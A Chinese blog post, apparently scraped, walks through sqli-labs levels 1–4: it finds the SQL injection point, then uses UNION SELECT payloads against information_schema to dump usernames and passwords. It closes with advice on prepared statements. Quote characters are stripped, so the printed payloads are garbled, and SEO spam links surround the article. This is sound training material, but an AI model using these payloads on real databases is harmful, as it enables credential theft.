当前位置: 首页 > news >正文

名创 网站建设企业网站seo案例分析

名创 网站建设,企业网站seo案例分析,企业进行网络营销策划的目标,定制网站建设服务商说明#xff1a;部分内容来源于网络#xff0c;如有侵权联系删除 前情提要#xff1a;搭建sql-lab本地靶场的时候发现一些致命的报错#xff1a; 这个程序只能在php 5.x上运行#xff0c;在php 7及更高版本上#xff0c;函数“mysql_query”和一些相关函数被删除#xf…说明部分内容来源于网络如有侵权联系删除 前情提要搭建sql-lab本地靶场的时候发现一些致命的报错 这个程序只能在php 5.x上运行在php 7及更高版本上函数“mysql_query”和一些相关函数被删除而不是“mysqli_query”。某些函数中的“MySQL”被替换为“MySQLi 其中一个原因就是旧版的靶场PHP环境是5.0版本的而目前小皮面板更新到了8.0版本配套的PHP环境是7.0。那么解决思路就两种1给sql-lab的PHP升级2小皮面板改成5.0版本的PHP环境。这里选择第一种解决方案 参考博客 关于搭建SqliLabs中遇到的问题-CSDN博客 phpstudy v8.1在php7以上版本安装sqli-labs相关配置过程-CSDN博客 数据库结构简单小结 mysql数据库5.0以上版本有一个自带的数据库叫做information_schema 该数据库下面有两个表一个是tables和columns tables这个表的table_name字段下面是所有数据库存在的表名 table_schema字段下是所有表名对应的数据库名 columns这个表的colum_name字段下是所有数据库存在的字段名 columns_schema字段下是所有表名对应的数据库 常见语句记忆 information_schema 表示所有信息包括库、表、列 information_schema.tables 记录所有表名信息的表 information_schema.columns 记录所有列名信息的表 table_schema 数据库的名称 table_name 表名 column_name 列名 group_concat() 显示所有查询到的数据 Less-1 **Error Based- String** 基于字符串的报错注入 根据页面显示提示我们搭配id传一个值 Please input the ID as parameter with numeric value 输入?id1 回显 输入?id2时页面内容改变 说明这个网站应该会通过id参数进行数据库查询也就是说id只是一个将1传入数据库的”媒介“数据库真正需要处理的是1。 那么数据库能够处理的究竟是字符串1还是整数1这是一个有待验证的问题。测试?id1 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 LIMIT 0,1 at line 1 报错警告我们语法有问题 双引号不报错那就是单引号的存在使原本SQL语句包裹id1的单引号没有闭合破坏了查询语句结构。还知道了一点错误出现在第1行的末尾即在“1”LIMIT 0,1附近。相当于提示我们原有的SQL语句的组成可以推测一下 SELECT * FROM users WHERE () LIMIT 0,1; WHERE子句WHERE子句用于过滤记录必须在其后面提供一个条件表达式。例如WHERE id 1。 LIMIT子句LIMIT 1表示只返回结果集中的第一行数据。 使用注释符测试?id1 -- 。没有发生报错正是因为注释了后面的LIMIT 0,1; 知道了基本注入方式就可以通过其他操作符得到我想要的信息了 1order by查询当前数据表有多少列 ?id1 order by 1,2,3 -- 正常回显没有报错 2增加猜测列数?id1 order by 1,2,3,4 -- Unknown column 4 in order clause 发生报错第4列不存在但是第3列能正常回显说明数据表有三列 接下来就需要判断回显点回显点是指SQL查询结果显示在页面上的位置有回显点的SQL注入叫做回显点注入。通过回显点攻击者可以观察到SQL查询的结果从而推断出数据库的结构和内容而很明显该靶场存在两个回显点。那么还要分别表格哪一列在页面显示的 ?id-1union select 1,2,3-- ?id-1这部分看起来像是试图将一个查询参数设置为 -1这通常是SQL注入攻击中的一种常见技巧用于绕过原始查询的条件。union select 1,2,3--这部分是典型的联合查询语法。union 关键字用于合并两个或多个 SELECT 语句的结果集。select 1,2,3 是一个简单的示例查询它选择常数列 1, 2, 和 3 语句要求回显1,2,3列结果回显了2,3。说明第二列和第三列的数据是回显点。 通过函数查询数据库名和版本号 ?id-1union select 1,database(),version()-- 通过group_concat()函数爆出表名 GROUP_CONCAT() 是 MySQL 中的一个聚合函数用于将分组中的字符串值连接成一个单一的字符串 GROUP_CONCAT([DISTINCT] expr [ORDER BY {unsigned_integer | col_name | expr} [ASC | DESC] [, ...]] [SEPARATOR str_val]) DISTINCT可选参数用于去除结果中的重复值。expr要连接的列或表达式。ORDER BY可选参数用于指定连接顺序。SEPARATOR可选参数用于指定连接字符串之间的分隔符默认为逗号 , ?id-1union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity-- group_concat(table_name) 将查询到的 information_schema.tables 表中的 table_name 字段的值进行连接。这里的 information_schema 是MySQL自带的信息数据库其中的 tables 表存储了数据库的库名以及各个数据库中的表名整个语句将筛选出名为 security 的数据库中的所有表名 结果emails,referers,uagents,users 爆破字段名 ?id-1union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers-- information_schema.columns 表这个表存储了数据库中各个表的列信息 爆破结果CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password 可以看到成功爆出来username,password字段 爆破出username,password的数据 ?id-1 union select 1,group_concat(username),group_concat(password) from users-- name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 Password:Dumb,I-kill-you,pssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4 源码SELECT * FROM users WHERE id$id LIMIT 0,1 Less-2 **Error Based- Intiger** 基于整数的报错注入 1还是搭配id传一个值 由此确定页面正常回显的的标志再判断整数还是字符串型注入?id1 看到报错再加双引号测试?id1 仍然报错说明原本的查询语句没有单双引号闭合处理参数1数值类型是整数是整数型注入 2order by操作符判断数据表有几列?id1 order by 1,2,3 -- ?id1 order by 1,2,3,4 -- 可以判断出该时间表有3列 3接下来通过union判断回显点?id-1 union select 1,2,3 -- 由此得知回显点仅存在于查询的第23列上 4使用操作符和函数爆出数据库名 ?id-1 union select 1,2,database()-- 数据库名securitygroup_concat()函数security所有数据表名 ?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()-- 爆出users数据表所有的列名: ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()-- 最后就可以输出username,password信息了 ?id-1 union select 1,group_concat(username),group_concat(password) from users-- YourLogin :name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 Your Password:Dumb,I-kill-you,pssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4 源码分析SELECT * FROM users WHERE id$id LIMIT 0,1 构造了一个SQL查询语句SELECT * FROM users WHERE id$id LIMIT 0,1;用于从users表中根据id查询一条记录。使用mysqli_query执行查询并将结果存储在$result中 查询语句和less1其实差不多少了单引号对id的闭合包裹 WHERE id-1: 这是一个条件子句指定了只有当ID列的值等于-1时对应的记录才会被选中。原数据表根本没有id-1的序列所以后续攻击语句都是?id-1作为开头 SQL中的ID概念 在SQLStructured Query Language中ID通常指的是数据库表中的一个特殊类型的列用于唯一标识表中的每一行记录。这种列也被称为主键Primary Key。主键的主要目的是确保表中的每一行都可以被唯一地识别和访问。在设计数据库时选择一个合适的ID字段对于数据的管理和检索至关重要3。 ID的特性 ID字段通常具有以下特性 唯一性每个ID值必须是唯一的以确保每行记录都能被准确无误地找到。不可变性一旦分配给某一行ID值不应该改变因为这可能会导致与其他依赖于该ID的数据库操作产生冲突。顺序性虽然不是必需的但在某些情况下ID值可能是按某种顺序如递增分配的这有助于维护数据的时间顺序或逻辑顺序。 ID的常见用途 ID字段在数据库操作中有着广泛的应用包括但不限于 关联数据通过ID可以在不同的表之间建立关系实现数据的关联查询。例如一个订单表可能有一个产品ID字段用于关联到产品表中的具体产品记录。数据检索可以通过ID快速定位和检索特定的记录。例如SELECT * FROM users WHERE id 1 这样的SQL语句可以用来获取ID为1的用户信息。更新和删除ID也是更新或删除特定记录时的关键依据。例如DELETE FROM users WHERE id 1 可以用来删除ID为1的用户记录。 自动增长ID 在许多现代数据库系统中支持为ID字段设置自动增长属性。这意味着每当新记录插入到表中时数据库会自动为该记录分配一个新的、唯一的ID值。这通常通过数据库内部的计数器机制实现。例如在MySQL中可以使用AUTO_INCREMENT关键字来定义自动增长的ID字段6。 Less-3 Error Based- String (with Twist)基于字符串的报错注入转义 1第一步还是判断什么类型的注入?id1 能够正常回显再测试?id1  产生报错 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1) LIMIT 0,1 at line 1 再测试?id1 能够正常回显。说明单引号会破坏查询语句原有单引号的闭合结构可以断定这是一个字符型注入 2order by判断当前数据表的列数?id1) order by 1,2,3-- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near order by 1,2,3-- ) LIMIT 0,1 at line 1 还是发生了报错通过报错信息我们知道了真正的闭合方式是)。修改payload ?id1) order by 1,2,3-- 正常回显 依次递归判断?id1) order by 1,2,3,4-- 报错说不存在第4列那么数据表就只有3列 3union操作符判断注入点?id-1) union select 1,2,3-- 回显还是23列 4爆破数据库名?id-1) union select 1,2,database()-- Your Password:security 配合group_concat()函数爆破出当前数据库所有数据表名 ?id-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema database()-- 查看users数据表里面的所有列名 ?id-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()-- 最后再爆出用户名和密码 ?id-1) union select 1,group_concat(username),group_concat(password) from users-- Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 Your Password:Dumb,I-kill-you,pssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4 源码分析SELECT * FROM users WHERE id($id) LIMIT 0,1 其实和less1的查询语句是一样的只不过多了括号闭合 Less-4 Error Based- DoubleQuotes String 基于双引号的报错注入 1id传一个值判断注入类型?id1 正常回显页面再拼接双引号传入一个值?id1 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1) LIMIT 0,1 at line 1 发生报错说明双引号会破坏原有查询语句的结构由此判断注入类型是双引号而参数又需要使用引号包裹所以是字符串类型。还有一点根据报错提示推断正确的闭合方式应该是() 2order by判断有该数据表有多少列先猜测三列 ?id1) order by 1,2,3-- 回显是正常的证明至少有三列再判断是否有四列?id1) order by 1,2,3,4-- 发生报错推断数据表只有3列 3union判断回显点?id-1) union select 1,2,3-- 只会回显点是23列 4爆破数据库名?id-1) union select 1,2,database()-- 爆破出数据表名?id-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()-- 爆破users表所有列名?id1) union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()-- 再爆破出所有的用户名和密码?id-1) union select 1,group_concat(username),group_concat(password) from users-- Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 Your Password:Dumb,I-kill-you,pssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4 select * from user where id1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()-- select * from user where id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()-- 输出结果的区别 查询目的这两个SQL查询的目的是利用SQL注入技术来获取数据库中users表的列名信息。 查询结构两个查询都使用了UNION操作符来合并两个SELECT语句的结果集。第一个查询的条件是id1而第二个查询的条件是id-1。 输出结果的区别 第一个查询 (id1): 如果user表中存在id1的记录那么查询会首先返回该记录。然后UNION操作符会将第二个SELECT语句的结果即从information_schema.columns 表中获取的列名信息追加到结果集中。最终输出结果将包含user表中id1的记录以及users表的列名信息。第二个查询 (id-1): 由于user表中通常不会有id-1的记录第一个SELECT语句将不会返回任何记录。因此UNION操作符的结果将仅包含第二个SELECT语句的结果即users表的列名信息。最终输出结果将只包含users表的列名信息。 分析源码 $id . $id . ; 这行代码的作用是将 $id 变量的值用双引号包裹起来。例如如果 $id 的值是 123那么执行这行代码后$id 的值将变为 123 SELECT * FROM users WHERE id($id) LIMIT 0,1; 本质上less1,2,3,4的查询语句是一样的无非是对传入参数的闭合拼接方式不同 改进建议 使用预处理语句 为了防止SQL注入建议使用预处理语句Prepared Statements。例如$stmt $pdo-prepare(SELECT * FROM users WHERE id ? LIMIT 0,1); $stmt-execute([$id]); 简化字符串操作 如果确实需要将 $id 用双引号包裹起来可以考虑在SQL查询中直接使用双引号而不是在PHP代码中进行字符串拼接。例如$sql SELECT * FROM users WHERE id\$id\ LIMIT 0,1;
文章转载自:
http://www.morning.rjnm.cn.gov.cn.rjnm.cn
http://www.morning.synlt.cn.gov.cn.synlt.cn
http://www.morning.qbxdt.cn.gov.cn.qbxdt.cn
http://www.morning.kxqmh.cn.gov.cn.kxqmh.cn
http://www.morning.swbhq.cn.gov.cn.swbhq.cn
http://www.morning.jcyrs.cn.gov.cn.jcyrs.cn
http://www.morning.wqjpl.cn.gov.cn.wqjpl.cn
http://www.morning.hhxwr.cn.gov.cn.hhxwr.cn
http://www.morning.mfbzr.cn.gov.cn.mfbzr.cn
http://www.morning.jzkqg.cn.gov.cn.jzkqg.cn
http://www.morning.nfdty.cn.gov.cn.nfdty.cn
http://www.morning.mslhq.cn.gov.cn.mslhq.cn
http://www.morning.lanyee.com.cn.gov.cn.lanyee.com.cn
http://www.morning.rksg.cn.gov.cn.rksg.cn
http://www.morning.mgtrc.cn.gov.cn.mgtrc.cn
http://www.morning.frmmp.cn.gov.cn.frmmp.cn
http://www.morning.qnksk.cn.gov.cn.qnksk.cn
http://www.morning.mllmm.cn.gov.cn.mllmm.cn
http://www.morning.skrxp.cn.gov.cn.skrxp.cn
http://www.morning.qzzmc.cn.gov.cn.qzzmc.cn
http://www.morning.dbfwq.cn.gov.cn.dbfwq.cn
http://www.morning.bpmnz.cn.gov.cn.bpmnz.cn
http://www.morning.yzfrh.cn.gov.cn.yzfrh.cn
http://www.morning.trffl.cn.gov.cn.trffl.cn
http://www.morning.qwrb.cn.gov.cn.qwrb.cn
http://www.morning.whothehellami.com.gov.cn.whothehellami.com
http://www.morning.xwbld.cn.gov.cn.xwbld.cn
http://www.morning.wrqw.cn.gov.cn.wrqw.cn
http://www.morning.bftqc.cn.gov.cn.bftqc.cn
http://www.morning.sgbjh.cn.gov.cn.sgbjh.cn
http://www.morning.rmqlf.cn.gov.cn.rmqlf.cn
http://www.morning.dxxnq.cn.gov.cn.dxxnq.cn
http://www.morning.jtsdk.cn.gov.cn.jtsdk.cn
http://www.morning.skksz.cn.gov.cn.skksz.cn
http://www.morning.dmzzt.cn.gov.cn.dmzzt.cn
http://www.morning.xpzgg.cn.gov.cn.xpzgg.cn
http://www.morning.fwkq.cn.gov.cn.fwkq.cn
http://www.morning.mcwgn.cn.gov.cn.mcwgn.cn
http://www.morning.fbzdn.cn.gov.cn.fbzdn.cn
http://www.morning.kphyl.cn.gov.cn.kphyl.cn
http://www.morning.rhjhy.cn.gov.cn.rhjhy.cn
http://www.morning.ybgcn.cn.gov.cn.ybgcn.cn
http://www.morning.crrjg.cn.gov.cn.crrjg.cn
http://www.morning.clkjn.cn.gov.cn.clkjn.cn
http://www.morning.cflxx.cn.gov.cn.cflxx.cn
http://www.morning.dnhdp.cn.gov.cn.dnhdp.cn
http://www.morning.mqfw.cn.gov.cn.mqfw.cn
http://www.morning.ftzll.cn.gov.cn.ftzll.cn
http://www.morning.qhfdl.cn.gov.cn.qhfdl.cn
http://www.morning.brkc.cn.gov.cn.brkc.cn
http://www.morning.rjrz.cn.gov.cn.rjrz.cn
http://www.morning.lfjmp.cn.gov.cn.lfjmp.cn
http://www.morning.wbxr.cn.gov.cn.wbxr.cn
http://www.morning.qxrct.cn.gov.cn.qxrct.cn
http://www.morning.hkpyp.cn.gov.cn.hkpyp.cn
http://www.morning.jzlfq.cn.gov.cn.jzlfq.cn
http://www.morning.ggqcg.cn.gov.cn.ggqcg.cn
http://www.morning.rtmqy.cn.gov.cn.rtmqy.cn
http://www.morning.wsgyq.cn.gov.cn.wsgyq.cn
http://www.morning.hngmg.cn.gov.cn.hngmg.cn
http://www.morning.lqqqh.cn.gov.cn.lqqqh.cn
http://www.morning.dhmll.cn.gov.cn.dhmll.cn
http://www.morning.bpmdg.cn.gov.cn.bpmdg.cn
http://www.morning.yhwyh.cn.gov.cn.yhwyh.cn
http://www.morning.bmjfp.cn.gov.cn.bmjfp.cn
http://www.morning.cfhwn.cn.gov.cn.cfhwn.cn
http://www.morning.thlzt.cn.gov.cn.thlzt.cn
http://www.morning.hcwjls.com.gov.cn.hcwjls.com
http://www.morning.gxklx.cn.gov.cn.gxklx.cn
http://www.morning.phjny.cn.gov.cn.phjny.cn
http://www.morning.rgnp.cn.gov.cn.rgnp.cn
http://www.morning.yrbqy.cn.gov.cn.yrbqy.cn
http://www.morning.zhqfn.cn.gov.cn.zhqfn.cn
http://www.morning.wklmj.cn.gov.cn.wklmj.cn
http://www.morning.jtszm.cn.gov.cn.jtszm.cn
http://www.morning.sdkaiyu.com.gov.cn.sdkaiyu.com
http://www.morning.lwrks.cn.gov.cn.lwrks.cn
http://www.morning.muzishu.com.gov.cn.muzishu.com
http://www.morning.mknxd.cn.gov.cn.mknxd.cn
http://www.morning.mlbn.cn.gov.cn.mlbn.cn
http://www.tj-hxxt.cn/news/242391.html

相关文章:

  • 网站建设阿里云搭建个人网站广西网站建设营销公司
  • 营销型企业网站的建设步骤seo建站是什么意思
  • 网站错位vs做网站怎样添加图片
  • 网络宣传渠道优化英语
  • 青岛李村网站设计公司ui界面交互设计
  • 企业网站建设的四大因素婚纱网页设计素材
  • 湛江免费建站模板成都网站建设网站制作公司
  • 鸭梨网站建设舟山做网站公司
  • 培训机构网站建设推广wordpress 删除后台登录logo
  • 温州 建网站娄底市网站建设
  • 网站开发设计制作合同怎样做校园网站推广
  • 应用网站乘客电梯做推广的网站
  • 网站版面特点wordpress文章搜索排序
  • 外贸网站有哪些?厦门专业网站设计公
  • 响应式网站注意事项怎么做代理
  • 广东省建网站公司新手建站工具
  • 山东网站建设模板制作网站开发需求描述
  • wordpress 禁止右键网站seo设置是什么
  • 做网站设计需要什么技术免费外贸平台有哪些
  • 网站开发设计制作推广api in wordpress
  • 上海建设网站制为什么php做不了大网站
  • 青岛网站平台开发小说网站设计模板
  • 网站首页图片素材推动高质量发展的措施
  • 成都 企业网站设计手机制作视频的软件app哪个更好
  • 网站设计基础app下载安装官方免费下载
  • 网站内链调整瀑布流 主题 wordpress
  • 台州建设质量监督网站中国做的最好的网站建设公司
  • 龙岩做网站改版费用网站开发会什么
  • 优秀营销网站设计信息网络技术
  • 营口市城乡住房建设局网站福千欣隆网站建设公司怎么样